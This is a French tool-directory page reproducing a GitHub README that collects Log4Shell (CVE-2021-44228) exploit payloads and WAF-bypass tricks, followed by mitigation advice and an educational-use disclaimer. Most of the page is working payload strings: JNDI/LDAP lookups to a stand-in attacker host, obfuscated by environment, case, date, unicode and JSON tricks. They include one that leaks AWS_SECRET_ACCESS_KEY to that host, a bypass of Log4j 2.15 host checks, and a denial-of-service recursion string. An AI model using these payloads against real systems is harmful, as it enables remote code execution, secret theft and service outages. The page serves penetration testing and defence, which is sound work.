Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - Exploit Java LOG4J - astuces de bypass WAF | Kitploit
Outils/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
Génération de PayloadsAnalyse des VulnérabilitésExploitationÉvasion IDS/IPSExploitation d'Applications WebContournement de WAFTests d'IntrusionApprentissage et ÉducationRed Teaming

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - Exploit Java LOG4J - astuces de bypass WAF

Voir le dépôt
950134il y a 4 ansVérifié par Kitploit
🤝 Montrez votre soutien - offrez une ⭐️ si vous avez aimé le contenu | PARTAGEZ sur Twitter | Suivez-moi sur

🐱‍💻 ✂️ 🤬 LOG4J Exploit Java - Astuces de contournement WAF et correctifs

📝 Description

CVE-2021-44228 fonctionne sur :

log4j: 2.0 <= Apache log4j <= 2.14.1

Version Java déjà corrigée : 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender a commencé à supprimer les fichiers .java qui contiennent jndi:ldap:....

Script d'attaque simple (RCE possible) :

${jndi:ldap://somesitehackerofhell.com/z}

WAF ou développeurs ont commencé à bloquer les expressions :

  • ldap:
  • jndi:

pour sécuriser les applications.

Cependant, l'attaquant peut le contourner en utilisant l'une de ces techniques :

1. Variables d'environnement système

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

D'après la documentation d'Apache Log4j 2 : ${env:ENV_NAME:-default_value}

S'il n'y a pas de variable d'environnement système ENV_NAME, utilisez le texte après :-

L'attaquant peut utiliser n'importe quel nom à la place de ENV_NAME, mais il ne doit pas exister.

Ou le hacker peut lire une variable d'environnement, exemple pour AWS_SECRET_ACCESS_KEY :

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

Consultez plus de secrets dans 🦄🔒 Awesome list of secrets in environment variables 🖥️

Vous pouvez vérifier vos variables d'environnement système :

  • Sur Windows, exécutez dans PowerShell : dir env:
  • Sur Linux/MacOS, exécutez dans le terminal : printenv ou env

2. Recherche minuscule ou majuscule (Lower/Upper Lookup)

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup Le LowerLookup convertit l'argument passé en minuscules. Vraisemblablement, la valeur sera le résultat d'une recherche imbriquée.

${lower:<text>}

Upper Lookup Le UpperLookup convertit l'argument passé en majuscules. Vraisemblablement, la valeur sera le résultat d'une recherche imbriquée.

${upper:<text>}


3. Notation "::-"

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. Caractères Unicode invalides avec upper

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı est converti en i


5. Propriétés système

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

S'il n'y a pas de propriété système SYS_NAME, utilisez le texte après :-


6. "::-" notation

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. Date

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

Le formatage de date Java convertit YYYY en 2021, mais il convertit 'YYYY' en YYYY ou 'j' en j.


8. Encodage HTML URL

Remplacez les caractères par :

  • } par %7D
  • { par %7B
  • $ par %24

Vous pouvez en lire plus ici HTML URL Encoding Reference


9. Lookup inexistant

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

Il ne vérifie pas l'existence du lookup et se contente d'évaluer la valeur par défaut sans problème.


10. Polymorphe (requête JSON REST API)


root@kitploit:~
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"Séparément, ces clés et valeurs ne représentent pas une attaque. Mais toutes ensemble, elles constituent une attaque, et cette attaque est transparente pour les systèmes de détection en raison de l'analyseur JSON." En savoir plus...


11. Caractères Unicode (requête JSON REST API)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

Convertissez certains caractères en unicode.

Convertisseur Unicode en ligne


12. Astuce avec # (fonctionne sur log4j 2.15)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

Contourne les vérifications allowedLdapHost et allowedClasses dans Log4J 2.15.0. La méthode java.net.URI getHost() renvoie la valeur avant le # comme hôte réel. Mais le résolveur JNDI/LDAP résoudra la chaîne d'hôte complète en tentant de se connecter au serveur LDAP malveillant.

En savoir plus...


13. Attaque DoS (Fonctionne sur log4j 2.8 - 2.16 - CVE-2021-45105 )

${${::-${::-$${::-j}}}}

Si une substitution de chaîne est tentée pour une raison quelconque sur la chaîne suivante, cela déclenchera une récursion infinie, et l'application plantera.

En savoir plus...


14. PDF comme canal de livraison.

Créez un fichier pdf spécial pour exploiter CVE-2021-44228

Exemple PDF

Obtenez un fichier pdf et en savoir plus...

Test

Pour tester une entrée, vous pouvez utiliser :

  • https://canarytokens.org/generate - Choisissez le token Log4Shell (une notification d'entrée sera envoyée par email ou webhook), générez et remplacez somesitehackerofhell.com/z
  • https://dnslog.cn/ - Générez un sous-domaine et remplacez somesitehackerofhell.com/z

✨ Meilleure solution pour se protéger de CVE-2021-44228

tl;dr Mettez à jour vers log4j-2.17.1 ou ultérieur.

Atténuation Log4j 1.x : Log4j 1.x n'a pas de Lookups, donc le risque est moindre. Les applications utilisant Log4j 1.x ne sont vulnérables à cette attaque que lorsqu'elles utilisent JNDI dans leur configuration. Un CVE séparé (CVE-2021-4104) a été déposé pour cette vulnérabilité. Pour atténuer : auditez votre configuration de journalisation pour vous assurer qu'elle n'a pas de JMSAppender configuré. Les configurations Log4j 1.x sans JMSAppender ne sont pas impactées par cette vulnérabilité.

Atténuation Log4j 2.x : Mettez en œuvre l'une des techniques d'atténuation ci-dessous.

  • Les utilisateurs de Java 8 (ou ultérieur) doivent passer à la version 2.17.1.
  • Les utilisateurs nécessitant Java 7 doivent passer à la version 2.12.4 lorsqu'elle sera disponible (travail en cours, attendue prochainement).
  • Sinon, supprimez la classe JndiLookup du classpath : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class et supprimez les références aux Context Lookups comme ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application, telles que les en-têtes HTTP ou les entrées utilisateur.

Notez que seul le fichier JAR log4j-core est impacté par cette vulnérabilité. Les applications utilisant uniquement le fichier JAR log4j-api sans le fichier JAR log4j-core ne sont pas impactées par cette vulnérabilité.

Source et en savoir plus...

Restez en sécurité !

🤝 Montrez votre soutien

🤝 Montrez votre soutien - offrez une ⭐️ si vous avez aimé le contenu ou le meme | PARTAGEZ sur Twitter | Suivez-moi sur

log2

📝 Liens utiles

  • Apache Log4j 2 v. 2.15.0 - User's Guide
  • Possible first publication of lower/upper bypass
  • CVE-2021-44228 (Apache Log4j Remote Code Execution)
  • HTML URL Encoding Reference
  • GitHub Reviewed CVE-2021-44228 - Remote code injection in Log4j
  • Apache Log4j Security Vulnerabilities
  • Program log4j-detector - Detects Log4J versions on your file-system within any application that are vulnerable to CVE-2021-44228 and CVE-2021-45046
  • Polymorphic Log4J exploit that is a valid JSON REST API request
  • Contournement des NGFW/WAF en utilisant des obfuscations de format de données
  • LOG4J2-3230 Certain strings can cause infinite recursion
  • Voici une POC pour contourner les vérifications allowedLdapHost et allowedClasses dans Log4J 2.15.0
  • 🦄🔒 Awesome list of secrets in environment variables 🖥️
  • Exploitation de CVE-2021-44228 en utilisant des PDF comme canal de livraison - PoC

🙌 Remerciements aux utilisateurs pour leur contribution

  • Tous les contributeurs
  • Whatsec pour plus d'exemples de contournements
  • manjula-aw pour l'amélioration de la section de sécurité
  • juliusmusseau pour un exemple de contournement supplémentaire

✔️ Avertissement

Ce projet ne peut être utilisé qu'à des fins éducatives. L'utilisation de ce logiciel contre des systèmes cibles sans autorisation préalable est illégale, et l'auteur décline toute responsabilité en cas de dommages résultant d'une mauvaise utilisation de ce logiciel.

Je ne suis pas l'auteur de CVE-2021-44228 et de certains contournements.

Télécharger l’outil